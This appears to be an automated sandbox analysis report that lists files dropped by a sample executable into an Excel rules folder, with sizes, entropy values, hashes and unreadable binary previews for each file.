Preview:	<?xml.....G...\|rW..;.b...VE......._l...]Q`.Cn.hw.@LRnK?..(.....m.z3(J.b58..I.<.`.N......[....)..b...........%ry!..j..(.7....[...AF....%.0.<]E._lC[1..gc......Z......."$.../%;{..a.&..a..O..........w...J....1K....u{O../.(..w.%.g...6.I...s..M...}.5u..ba.c.Z....2......ic..l.;=E.rt>.E...W.WI.0....l...i4....G....U..UyV.h8o.o Q..!.j........2.q..\>.....R....y......8.W...........U...#..)s.#>...bG.$....V...C.4w.........\.-.......)0.N.....8?...%3.k............6........B@.vc....e.r..`..PP.GI.bW~....w..SQ)CYh.....V3...M0...t[".Y...3.r.RF........B.....8..D..@=8..,..J..p.Z.........\S..ek.M.....3a.......@?v.mXt......6......5.U....qN......,..}.O...7.....[8c.<.`Cx....9..,b.......#.J.N....g..v........<.<nyt.mz....@.G...8..SF3..1k.LJ`.n..e..S_>..9..^lkxp..........co.O.M.B.N,.~.......L"7.m...O.B...-p.;.....]..Z1.....u.>.,).9..\|.<...R...i... ...1.!.-..Nv.^.\$X.."F.,}..~T/........G\N.".@...E....2[u.%MG,.. .w.6.X......j/.C).k..%.=f...+...\|......2.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule65137v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.71890784633906
Encrypted:	false
SSDEEP:	12:azNyDZ/BOy5B390+WFkOCWzQxHp/Jr3hMtKb47TBQF4Pe636hZwYTBjxWUwyRl/N:a2ZJz5ZiLkOCRxHhJrxMF7rPe6ywShxX
MD5:	61EA70E72CE735635EBA062FDB10591C
SHA1:	7D4BE77E7345D720F9F93E64552B220BCC768864
SHA-256:	DFB2D17B1B7C14D47E63787DE3D8972029DB6ABDCD1342E32F24EC5905A17C84
SHA-512:	2DD9AED044DC4FA339EDA9AE0F53F1DC4564D70A170262CD44BA985E3E271E356773A49364FD8D5CA070F588E85136F3F05453FE73F9475849FD4864ED34966A
Malicious:	false
Preview:	<?xml..?Jt/.B!u.".=...G..%....<..w.h....e......n..c.:...t.Zd.Ol.o....;....I.'I.....3......lv..........[............R...u.xiM.>....v..z{....1...?GD......A...?.wT..........\..!.......vU.>EM\.D..~.5.A....74..L4pE.'.h.O:d.$(...r.U..:..G.....l.e.q./aN.N.$n....\%-.......4..0........Mp..../8.x;....u..L.....?L.l.1...'L../i.K.\..u`...M...L../.F..I.} O.P.......y;.....x..Y$......E^`.=..+.Wn.Qa.!...:...`d.!....K. ....}..&.....t8!.M!...+../.g.I.n.X....>......R"......Sb.r..:.......\|`}C....I.E...WO.Q.&:....MjDQZzL.9L...H....}......c..p.$...K;.A....,....e...."..k!?......G..6/.._0~1$\.U/HL.JbQIQ@.jw....xl$..N..N....J..3.^2.......\..Z...k... .[.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule65138v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1094
Entropy (8bit):	7.821449955211638
Encrypted:	false
SSDEEP:	24:1TlyVgSr2e+qXxKD8eccTYdeKq65mZ3odl3LNXBVbD:1ZypCNqXxi8ef+eT6cpKFLBBFD
MD5:	45220964A77C90C48EA6823D73477669
SHA1:	A3A0533BA0CD1B93FC592C9DC4BF6BDCF4BD779E
SHA-256:	34223F9E3F7DE6FF71777AA2980137FABA7AF331D54589B41AD24CB12A775488
SHA-512:	DF66D42F0238EC9CA6732ECE267E1ABC4B36BEC85440AD3522277CB9D992E6E1090E829A1F99067E57A8C1EBF1F20CBFC97218DE3133DFC2A09C61815E8251F8
Malicious:	false
Preview:	<?xml.6A"..g3y'..0.n\W .F,....kL.Z.F....R..B .xhEL?....\..d.Z+I!K...d.n..&.uz.....6..<..l....5..v....[w6.....{.....%f..l'.......'H..P..r.e%.q....~.m9.m.V.]".f.<...O..;).............!.....c...q.c..tu..Q1Uf.....9..=...k'........pMJ...<../...._6s#....oa.h.Ut...[=.aw.L!<.iJ..Z.......e..K15....C._..]...H..N._.......SG.......aB..+...D.._c.....@.....X.....7.P.j.tg....q_...)v.'......86.S..u<..`.F......$.../>.=.3(...I.-v...k..kI.lY.....d......n....i....V-t...0.>7.....0W.......Wv.........rl0S..X.7..B.{.C..G.?..TFZ... .7...~F.2..YL..p.?....B...3.&cK.`..U.$..=......I.OH?F...#T)h\...Q...e 8-......F...J%A.f<`lL./^^e...D..c]E{9.....8T.1.Q...O..2.O.1.....2<..../...)...^zD.X...tT...;..Cr).W2.......k....Ez.0}y.}..a.~.f.t#.CZ..).5..Z.2..NUy....i.X......q.5Qb....... Z.p>.b..f....:.....[..4."..e0.Jw...b.1/....M....'.&....^.......k..@...L..8.Jh.b."Y..g.y..[.d..Z:1T.<:.:...d.8A.....C....u)po..Tj...{.YF.S....X.a.<Y).z.U.....Y..;....>.sqF..Q.BXI9.*H..@.Z.C+.T

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule65139v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	8095
Entropy (8bit):	7.978403765023046
Encrypted:	false
SSDEEP:	96:9znuPRDgchLYarvxbLN/sMm0BWJqgO1OtmhYLxQO1OkNpFdiK2i2DWaUPArjt+/l:APaKvFRkqP19hYKO1OkNvKUP+5UrkMNF
MD5:	FDFF789A5BB4A2B492CB658A6B66EFB3
SHA1:	D495B9C3EE2D4C4D8C6E7669928573F9582584E3
SHA-256:	BD51E1A7A45A3B4BFD7B423D70221839395530A9D194ACCEDAD6DFB1A460D8B7
SHA-512:	603B048FE87A93F86E66F26282BA577E56B40EED92BB0A4DD21F5ED841943CA7C7A289D335974284D8638794F191BB4898F9721C6B20A241162DA15D03FE376E
Malicious:	false
Preview:	<?xml...-.^.......:.6..A....w#...uZM.rzB.-..p.ws.BlGWt.'.n#.[.iI.%$7;....>.!F.X.qL.#!..(~.0.,0.r.7u..[b.....Bq.^.b.#Wl...xG...;..G.G...t:...3z`n...%..~b.].... HN.J.].S..xq..9..E...V......`H.%.Yh\h.@.=.%......<...w....\|1X..<q..$.......aU..<}...+='.0..6c..B<.C....@x....O...t:].;....\|..tbAx.&(D.N....{..... ...........e..G..x.vh....t.\s.;3...H~..I.....J.....-....CQ=.@.....S.Z.njM.}8.U...XJ...1w[.7.....(A..Dhv5..../...k....w..R.....#.G..P{....~.n.4..........\.m...=\|...QF\|..~zwa..I.l<.^..@.g.^.2..S%....n......6......I<.IO..w.,W7.W.......h....^...."....O.f......J....=b.e.g.c..)....z..5..l.........w2..k. K...w.:f.... 4.E...........`[..n..Y...l..F.'n..v....c..e......?YG..G.q.C.W+d..&...Yvd....d1L.+G:......r..(.(w.")..h...k...\.,h\.`k...d.k....s.(g.V..%..!...........n7...e.(.n#.l.+....F.;.t.vg...yd/hh.W..... ....>..T..S. \|VD..>k..r..V.....'.*..-...../......>S.....'o..^.......}.8w....6.D...u..D..H.x......NK>.7@....n...gN.o......n;..4...$.".\|j..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68000v3.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1047
Entropy (8bit):	7.779411487148076
Encrypted:	false
SSDEEP:	24:KM6I6AeDwLIENHP+TrKHcQdA9evcG+aWZpbYVbD:vb4rENHVcuAUvcG0rbYFD
MD5:	6984B5F6DDC6DAD73CD5AC5D16F4F80E
SHA1:	DB401656FEB251BED6FEFE17AB256A35A4D0158E
SHA-256:	0FF46B87E213599C28F4EFD8241C3D184E1EDDA9E2FAB9D79F6A91B4D9C02D85
SHA-512:	CAA6F88D961FDE63E933189EA911B1EDC451534F640AF5E3309BB9085A31B5219CEEC242909FD6AE202969567679FBA0333B7D67948036B08BA5C966EE768A2B
Malicious:	false
Preview:	<?xml.Q..X...U9.E....jm-..I..j...........qj.s.x(..=1y.7.......Y.O....2.4.l..R.B...j..'}L.@.......j..l......2i.].j...}.g.~...,.16...=~fp%...!.....P....;T9(.7.......0Qh...)/K.).2=..z...i.l.e(..W^P....O...M}wp.;..Z.g.n..@~.Z.S......g.Ti.....&.....i..pl0.d+T.x^....guY:j..9M{X..^R.>.....t.y..r;.+V....cg.l+..Q..D#V.......3....m....E&.^{...\.m...3..Np..k\|v.\..}.u.....F.BCIUaug.W.Po.!;........].....2nH.Kb.u.......W..2...#..i..m5k.;..x.}......=..+dL....s...wVS3..V....=.`.Z.....p....L.p8.Z.O...Ts..C["~XEi..,.{Hx`j8j.N.B...s.w..$...-.....07.6.....I..2...(zQ.n.`.#..(.#....VIWz.>.......mn....Q.v(......@Q.}.hF.P....4.A"(..Sc...v.f..f).....>...1....q.%....l.P..&/...._$Y....S{W+.J........\1.@.+.$.\|"....T.<1...w..A..P=...}%...._..D..d.>..?.._..2e"......u....&.....i1..9*....]65..C...A.^i....:..#......`...y._.e3[P.i.}.9C.._.....@...D.4.....iodL......\|.I%T_.j.yF..0...X..x.d..'9f...yM.z.........Ex..c.=..N..V.Y\JA6...,..4L....SD...t.]`k..itkm7MOsOlVQkbEQhWCVEWoMyGFhVjg

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68001v2.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1003
Entropy (8bit):	7.766845753031869
Encrypted:	false
SSDEEP:	24:tt1NPab1EVyDuyhQYZGfUqoBi/InHFZmAWYPx2agLTc48cVmVbD:H3yBEgDCfU1iAlZmAWYjgj8QmFD
MD5:	CC29AF83452E50673CDE32E4C7B75ED4
SHA1:	13CCB04F40C4ED81D918AA3BE93F4E3CCFBADF32
SHA-256:	E3338D0888E12B933CBEC5D47439ED1A43FDE9F5D089E2D84BE3D76D32E6E2BB
SHA-512:	CAE57D36C18E866FD80543B21FBB1CC3BA56008B0D7932DE771EF75522B2662032E143D6306BBF0DC18D2FB7D5A6AB8C0A3CC6535BA46FFC6B026237F69C33FB
Malicious:	false
Preview:	<?xmlP.p!.i... ,;.I...h<}....`..9.ga..v.[e.(...r.!y.u....^..r.c<.......I.D.......$L...92..V..m..7...R....2...\|..........f9~.zb.0.j..........mM..c`..K...?...q.z..\|....Q..`.pY3....Cj~I..K......e..G.31o......V.E{..D@...t.!1..gz.WJ7zm..Z..%...W....Lf.=Q.p.......L.`.......W\+~.s......8.).4.\..mf~.#.....R(ZK.vdT.Z.~.`n.....X6...j......VG..>"v..o.fv....9..O...FI..1Y.T.w....q.m.........G.....?...ik..r..."6...;..~...w.\|..^u..O.&h.....!-x.@.QY...[1~............;..-...L.v".r..V......s..R...kK.......Du..mYO..^.<s..^...s.9.I..o..D.3.S1.s.u..0Fi7.Mh....RJ.)..m s...A.q.W.P.i.&.O@..?...A.:.......=...pY..D...=W.G.....1.Di..Q.Zr....M...%4...d.<.I...(!...LV)V....X.Gq>.C?.)@z.5....)?S.ia...x...`.\.......{....Q...>.-..\6Sv_.r.R,\|>..`<..,.._\b..=C_.Pl..`...^.._.BX./.s\|.....:Id.F+(...6..7.*.XG?.EA..P.....'O".GV...D.-o..<Fp.....z~)...e....B[;.th\.l...3..t..<..`....0r.u...`@..S..x.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4D

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68002v11.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	2980
Entropy (8bit):	7.931485145611813
Encrypted:	false
SSDEEP:	48:pOeCYDAk2AlkLazJF4EooKKr4W3vEo8s4fKaoUk5YpcV0PckfPBJTsuoWahEENR8:p5CYsk2jYzG64vgVUBBPckfPjgPTs9
MD5:	EB72AA99DAE82E0A3E8F94F7D0AC1274
SHA1:	D4555A78BED4E9CA6CEE2E5967112D73AF9FC195
SHA-256:	5AFD66BB8D56A4C48EEA22345434F2F888125E3552D2BA14B8E94A38BE3BC9D5
SHA-512:	EED5DB83B86E74DDD95BC1E34B5A7DD434622E7F38602BE92C72298FDCAE69EBA68AE58849B410AAC2AAD26AC4344337F3452D6C38F8BD38628E76370EFFF7CB
Malicious:	false
Preview:	<?xml....u...<.....q.+<./"..uT..c.s.O...0..."`n......@...l.6M'.g.BY.Q,..s%..%T.-T../R..........}...H...C.Hger..1..bLJ.....BF...r..W.".H.X.a....1E...3`......][on.........(... ..}C..8s.... /..I..../...cf"..<....u.UN.....eec7.:[.$.&.z.@J;\|..6..4......p.5. ?..NR[.d.!....f.a.+..(...\../p... 3.F+..S...<.2sV.f>.t.....'.........b...(...v..y......L......U.jA......]H3.$.R.,[G......YM..... ...7.i>.8..+r..>.L.6....uG.u..y...(....w.u..2....m...K..{0.U.hOn.>.......u\._b.R.7..J.....x.W25..,....J.rB...m.E..gk.d.L.'.e...i..6..n.QLjT.p.x3..3J.....bdw+#g...x\|A....hW..U.D..bZ..{SeZM.{...,.....".-.&....._.ti.%.;...&.&.H.sw...za(.J...?..H<rw..\"U)..O...v..P..8.........Y:P...m.S.=f.R..0X...........O.......X.`!uf1....\|..>}.J-.......T+...W.j...u6..?.b.^p..+_... .\<..6...vI.Ow.......8...T.SxZ*.....(T..........Rl..A.!.^..eS.%...H...T....g.L.ggjt.<.N.,.<..K.....kV..k.L6.t`Sf8.%{.I. Z/..f ...3..DO.......!...py...>.I.$.-~KhL...;..H....=.'.v...V.Fj..E.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68003v12.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	2672
Entropy (8bit):	7.924105932915632
Encrypted:	false
SSDEEP:	48:cX9WJuuUI9n2TZNeW9ArftvyiLh4a20DPI7e3Vvo912yhnirzGioVFD:cX9WJ3UI90ZNeWarYiWfoIiFvkjieik9
MD5:	633D5EC3B1C7AD778C2F43AEF4DED7D1
SHA1:	80994F44E9D3CCBD61D9D4CC153DB66709EE7E25
SHA-256:	F7CCAD761BEAE6C8101A69DE215C5CC63D2112704DDC7147205417498F94F4F2
SHA-512:	D1D7D44A79A91CC2559E49B9AE44DE37BE370E80A4FDF83A06828D21E6A446CCA632809A27BE9F8438B1CB9C636D803AA8944B256755C8C63C01E420E5B10AE5
Malicious:	false
Preview:	<?xmlE.\|.LgJ....^v...)...j..A..:..pPX.E].5V.."...A.=....lp=..<..Y.Z.^8->.x........aN....(w].P.8....(.;Mp..@.....y.U.t..h...1-Zw.....Gu.3..i.._.....,ZB.>.w.M...S.v$.<9L...m\|..2.!".........Q.....xO3..=...j....P.0j<..k....\|f......0....c...E[.%.J..#....0.....@Sm.3w.U.\.-S).8....@.L.)Ik6.v.aB.,..._.1..F}]y..=.....cg..%.y...L..J9.E.(..B....U7.....~n$.7........@....<mn-...QL..u..c../..$..5..M.......pZ...K....N...4sI.E:odS..i.@<JJ>.].A.}..1.}...{Tk0....ZcH.k.......0........8...o..c.1....b....C.=.d2.......l;.sg..G.....<..+..b.V..._.S.z..V.6...D1..F.Ns.....l8.6~.c..!+j.h}O.^O:p`.5..C.{..I'+..LQ)).....RN..2.`....M....]..j.-..............GT.S.0..(.K.."...e....L..m.>z.\|...R..l.?.{.L.Y...oR....?...;.:J..'..~.t.N^.......\..x...+.Q...j.0...e.N...v.....B.}..X.)c.....v(.m.....[].x...C.....Ay.m!.5.n..z.v...Y=@H)./.O....l._)W..w..[..b.v..c....x.Ba.......7.X..>89..{......k...........B...1.i .-.w..Hv..Y...........R6QV.V1..T`.....b..W.tJpW.Y.......s..s.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68004v16.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	2762
Entropy (8bit):	7.927612533262599
Encrypted:	false
SSDEEP:	48:MqnvkFnTIEpYAYf0Oa3ObMsxhSbu+mQsepY8Ty6Yx6ROdtlKFFda2QJmsz6FD:MqvYnYf0+bzxhSbkQsi5TDYJdtlKjddF
MD5:	1260E1E1949DBF73EDA90C4D22B4BDED
SHA1:	F1D3334109385B3A1960625895A2A9AC28312784
SHA-256:	689802FEF33E5236A19EDC8CB3A43DBFEEBE0649944B1FAE46F3AE419CEF78F6
SHA-512:	5FEE6D89B8A677E0B734534F43C382E104B47D0C627F961DFA8AA916664D3D2A5BF36FE1B027D4C161DAA62437B3EE6814E339DE27E0CA9EC9A90ACE12C8AA27
Malicious:	false
Preview:	<?xml...Ks.V'.^..>3..}.c...).IP.L_W.T...C.F...#I....W.....I@r\|.B.!.U .So.~?....I..psm.. V.Y..J../.!.Zm.........<L..s...0N.YK0.}.K`.e..w......y............:...QkM.r.#..w^ u..4...)l.....DG\|..\|....p.t..x.6...D.n.....4..;..B.W\.C.H./..g......w....)S(_?.h.9......r`{..iT.<..w.7!.aA..~.]rZ\.....j1...m.e.....p#_S.F.=#-.f$.v..4/~...rr`.B<c...J.kk{.s;../...:..k..}..W....fF4s.N.^..3..e.4R.......};..3.....5......[..(..=.....Oh...})..ur.3.f..jd...*&.)..._.....}.SM+.ddS...,.1.zHy..L...#....=.N.........[9.d..6..9...p.....P.B...\3..."L..f..l.0VN..bv.....t..M.~.u..Mm.....(.....!.!.....J.I.k....h.Aj..' g.....M3...m.y.....4..<r3-$....w..O..n.............F.I..s;K1w....c......A..M.o...T....ZzA..R.......~...wY5..L..Z:..&s..!.`..e!.z...g.2B....K......8\...X....w..h/.8?!!4eo.~..^U....a..g.?..T...EvX...x...I.l...r2=....'t..x.=o.......{}...........o..Vv.....0......t,.a@R.v.0..A0...Wb.TP.o...a.x.\|.V.w..\|.`.t/V....(......;.l.7...OC7.........s......xo..,....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68006v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	838
Entropy (8bit):	7.7267200230485065
Encrypted:	false
SSDEEP:	12:an1ncilFwZ0NDbyj9D+KAIe6XbmIDrEewsbrqTEk7VL1Yc6fkwM/B0H5aF/vOAj9:an1cUFokH3kbXbjD6TL1YcEwBy0VbD
MD5:	BE2FF96D72A322064657B9FE94B33FEF
SHA1:	59C994847D4C5B3DBB39BAD3DCC0E9B867B8148F
SHA-256:	9D7728C24A93453B9CB0355954B3696F9C9ADB64925734F57AEC2948241073E2
SHA-512:	C13477D862319F64A45869C6C876F203FEF1222610267BB2A9F67457E7080FC80EF6220ABA0A57A82D737527427177274E78659748D34A0348F3FB35D73B32C7
Malicious:	false
Preview:	<?xml..w..%....3.E_aZ......W23m......R..aB.}Rg.G.W..B...Pc......T....<....G..N.%.~.....(3...)!..i.n.......L.0c.,....7..%.(z...@L.n..I\|....}.._.......R ..)r..C.].7.s..uK.>`.]..fp....#.%...c.g.;.@..>.)R.._...s...].}..#Cy.Q....lP......y;}.....gzN6.....at....`....sQ)...}E.p...^..).CE.#c..5.....Jt..Ua.=........ZD"i..M].X...x7. ...H}`.Tt.+F..D._^..z..{#..3..B..u.v.+.....8v.[w...Z.1...g.4.@....KF...eJ.R...H....,E......ju..c......rH..@...^}.i...B...(.F ".A...O5.i..;...i.N.,..B.$-.K..UV/IF_5..,.e.....4.....%..co..{.....+...4..q.Su...^!?n9.Pr..lf(.d$w....N.\|.~..b..*k.W.x...q...<........=.(..d.J.s.t.X F.i.6..aTAW.fd..3..o..".F...7p.q.59..Wu..Tv(.^.....Yp..-f.........O..+.b._.+6.......i..a....;..'.. ...6.p.v&..A<..x\..{r.1.T...itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68008v4.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1010
Entropy (8bit):	7.81121368510804
Encrypted:	false
SSDEEP:	24:1ldi8gM/Vmz2YluKjJwBGq9BVDLasoNbgcqXIVbD:1nhRmB9q9Pa5H+IFD
MD5:	6CD2A6B6906DD5625F9DC0BE51B7074A
SHA1:	93D1646D4E0FE337AF57FDBE08478C0C7DFE2D6A
SHA-256:	61D29AABDC6F7127E4A0BB460FD10EECD62A85B2484201E8A17A071301065093
SHA-512:	0823865D79909158BDC88CF1623C1E36F2E1B35CEA6048F6BD3182482AB409A4D45689FD62489337CFA25AE58823107F0A6F8A04961C2666EDE7B2C6D9328E76
Malicious:	false
Preview:	<?xml....@.X./..?....k..W.S....07..u..$o...A..n...+p..b...s...J1.....)..`...../.W.,....!...9.~...=..t.>).......lgT....s%." ,.^s...=...d.(FU ..../....b...L..13...;B...)~."i..".#UI...c.`.r_'......Z.(..!y\9p).X.z.0G....~...3w.....,.....V].~.m...)N.a.Dq.G.q..%....}.......V.tb......pGY..C...].....1;=.v......5\..LA..,..>\|...B_...h..@Wi%r..y,(...r..a.z.....@..4[...Q?........Gp.$...:'.E.(^cb............T.T.^gu}..G.9".Z<.9.....+..X..k..t......._..9.d..{_}...NJ.....\|g.I.ql.....Nh.....x...x.u2...\|.F.....5.!4./..(.I.?:...0. .X.T...$.M.-T..%7...3.@....-........m......]......n....j.6.DJ.Ag.$..c..9C..].\.....?.Z.g..V.=.T.zQ...w(.Db...<xS.oH.!.Y..^../\|.....u...KW........p..n.y. .w]yH>.k..J..EQ........Z...v..'1.i.... ..;...nC..:T...................T.#O.. QR..92<S.!h.O.......\|.7.l.B..8......R...)...C..[/..Z.j$'Y...0.%.A.D...qX..(.*..ly........<...&i.]A.v..{:...vD......O>{.:.W.......Gf..D(itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68009v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1380
Entropy (8bit):	7.848352470459117
Encrypted:	false
SSDEEP:	24:sjv2yyrc74xTuOmzjlhW1vhQKW6PZHzplbFWdzW4cNP2PkCtGqUBZNVbD:++a7XOe6c6PZHFFQdzCP2cPqUtFD
MD5:	1CB4AC38C08A2D90C09EDD5C4BBC4D5B
SHA1:	8EA7F81C5FAE1F8B734CEA287264F8EEEA4C1C29
SHA-256:	D0B5B7285AE8653B660361E4A7805C0624F5AA802B965A703DE914A33B4CD45C
SHA-512:	75CBF68A39630CD1E28033EF31B44A36AB73A68E0E14B3968AEFB4F77786EFB054B632B343D9E3823A6FB181EC2E6B290BDAE1B9970657778A8E39254D0B70CC
Malicious:	false
Preview:	<?xml.u.M@d.....+~O....09e..{[R.]...tO#.<.>.&0YZ...x......r.....[~..D....X..h..`.).`..6.`.{)Y...3u.i...K2?.X,`+p.QD.9...$4.9.z./.....#.+.7..(.k..b.........DL.......,Gv....U.R.....kg.n...kf.dr.@...x)Oi.B....fZ$..?...`...P.,8....9\4J..(.x........O.wu..l...6.#.5.y..\\W..?.>..Gu..uS.....BF......-@......`.eU^...NE..3......?6b....B.3r.$L.>.G[.\|..M.../...u:..ud.......y....9..)...b.......0.II....L.:0..a.....5......z..;...[.... iu6.....5.....?..r$.~.bn....k'b_4I..?6&7....rm\|-.....@D.b.....v...9..R..K"..Bo..Z....P%....s..q0y..3....v.5R..".]..X.e.h.\|+.n..^_..W.....C.b...\|.QV....k:.w0&.....L.9......[w.N...V.X.?..'...B...p...Z.7.=.>.`3S...0.b...%....t.H.<;r..p.I......%.....&K...r.<P.....0.>\|...\..L...Q..{....YC..J..t.]n.S9)+.U?...\|'.NQ(.R...+.u.6...^.?;.....iK,/C.^.$..4....GR.$..'K..+.~...).MR...&..l.mu.#....d.Y ..3..enR.+2..p..D:k4..).sdBG..r......R.#...%%n.{.uh...#..R..w..j.r.)'.c-.>.G,....B.q?...y..q.@r..e..D.`.......K7...#g6......w..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68010v2.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1614
Entropy (8bit):	7.886583705414244
Encrypted:	false
SSDEEP:	48:zHs6UmiBUdNpAqyjImKzJEvMCpJRQpmHFD:jxyjIXmvtpPQQ9
MD5:	092D3D67995CC2EC1C2D8DD79FE9484A
SHA1:	D6EBBF97C016C79921C4544936CE6F633A387C63
SHA-256:	82C5095A7F65720A53B0150F3A1F6A25CF216015DD8FE96E3410F4AD7E4D916D
SHA-512:	B539E18782C8B5222CA555952FAC8E940229A302A84E8695B79F954EE557256986544F3F502288EEEEF10FE11D7DE6E9219FC492CE376477EE9055FC29D587D1
Malicious:	false
Preview:	<?xml;.Y.=!FYV0....L...%i.6.O.6qD...........9.U4......_!!W~.......X.....CP..'P..:...e..;w....0)f.........0\...".O.a..1M....X?2...m.j..>..._.\D.a/....;....@...b.\|..1.xn...(.b.z...$u...........#.-.tA8`m....R.r/Lk... ..iz...$..{T+u...1ua.1............r.$j..........m...........dB...42..t7s...:.........Xl..co..p.....HCL.....@.\b...._....}....}..7R.m.y...gf...?M....<....K.:.`....:. H.=W..>P..X..Q...Yn!....O.c.T.g.j_.....yoZ=.`d-..A.......4..F...:..u.p#..$`...l.9d...xe.OVtE...&#....d.-(....;nw._Jh;q:4.D......q.I.<r.c.bh.Q........Q.-W..,......~......i.<.....W.{.Ol...>fmY..Qx.y`..zP..%.W%.a.........d.\|5H.......mTx.y...D].TV..I....^............z.v).'..J.sY.^..3...LQ;........O....A..G.`"...6.u.0Y.o.zPm....).......J.Hc\|....V.)..]..$.....r%..w..ML.........p..a..7....}......M.c...x0..o6....nJ.y.[In..F..X.;..mk&.6?sEdImC......[.F.HX...@C.{.........c8.fp...[..Ng..Kec.)v...).e....Qd.O...M..x.e2.X.<\|..?.S.5@.p.r..8#{).8u..Q ...S`..&\y.....z..r.Q.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68011v4.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	2753
Entropy (8bit):	7.926045913611833
Encrypted:	false
SSDEEP:	48:aqnnWJRWWAHpuLOkIB4brjBfYldmF7QIxYm1ZrulNT8UKT+p/BMJfNWBDFD:aqnnGzakIQ/RYuJQ8MNHKTG/BMJFAD9
MD5:	9FD33C0A17B7F2C2B8E35490BF79B390
SHA1:	C99C52524ACC08CAEF22A088F3113A1FACDAD2F1
SHA-256:	34EDF77A89E93C6914FD5E8735035B075544D81BB96093FA5284198706F3F424
SHA-512:	9F320A161F6A6804A3CF353217908287DFBDDAD856F4F9434279B7127FAD36DBFC68AE275DBE5F2FD09D46A346FF8153D54431CB3FA4E805BC481B4F3F195167
Malicious:	false
Preview:	<?xml.....8.6...L..l+]..=....@..2...".p.)..!.tg.X...x..d~.Y......G.-..Ag&&.C.%.W.-]D.P..Ct.9Si.za.1..h1..t./..........&I..>4.."AB=...Ma.zD.O...B.`.....;=\...q.z.7...o.....LK....1.\R...V.g....!..Mh.\.=;..k...,..~f.#.s.K.z.0A......\.W...q;}.....bA7...Y..X.[..EJ\.u`/.^t...?`..9.]..%-D..xm..&~....R..{..gD..(\MX........Z.DTWlX..C&S,K..d6.9O..DH_.....$..[........,...q#...^..wi...\|41......[r.K.\|.....^}.:[.y.~T..SeD.c2..DS.mV.+j]s@...A..p..N}.m.{.\.wf.?d.....*.z......+U..S..1.......C...tG...H....)...?...y<..u+FR."Z.a..\Ee.............W.....Zm...v..yo.....@\|.G.,..^.kg.}.....?.'..G.f.=5...R`.O7.{.r=.n.^...>...Q...i..M.'7dy../^!'....d N&....RG..#.e]..q..}..1..@Fb..h.R....C.E..r.].>p.7.x.C.r.dG.~Aor..`.._.[.B....H....K.t ......x.....G.jq.........V..[....}...D.e=b.U....).V...).....y._.~.g..%....OcvM.T.3...K..e.&k.YJ;2.Id...\..................'....wB........n.j..[...4.-.3c..$..O.b....L.)........I.(...q..h,...?....l... .u..H...U.FNz..W

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68012v2.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1558
Entropy (8bit):	7.855050286436712
Encrypted:	false
SSDEEP:	24:cv6g8C64fpANi6BBx2gOBZT3ee1eZQ2xLffobxpfRUB/crr+IRTikiVbD:cv3jfKi6DxanT3eecfAjf0crdi1FD
MD5:	B36E306B01FFE617851F81A7FF3193DF
SHA1:	0F1A7849F2A3BDFB26AF26DAE8946E142C417168
SHA-256:	11D8A26CF5AF548717886B385ED2B2E3AC4B34B7B651DACE1E2841D187892F97
SHA-512:	F22501A41BC024E04A91687ADF250A22AD98731046C748FDDD916551BB964CE5F43F10D499C9EF4663EDB17652528008F619C2CB7B132491B94C81C5F76887A1
Malicious:	false
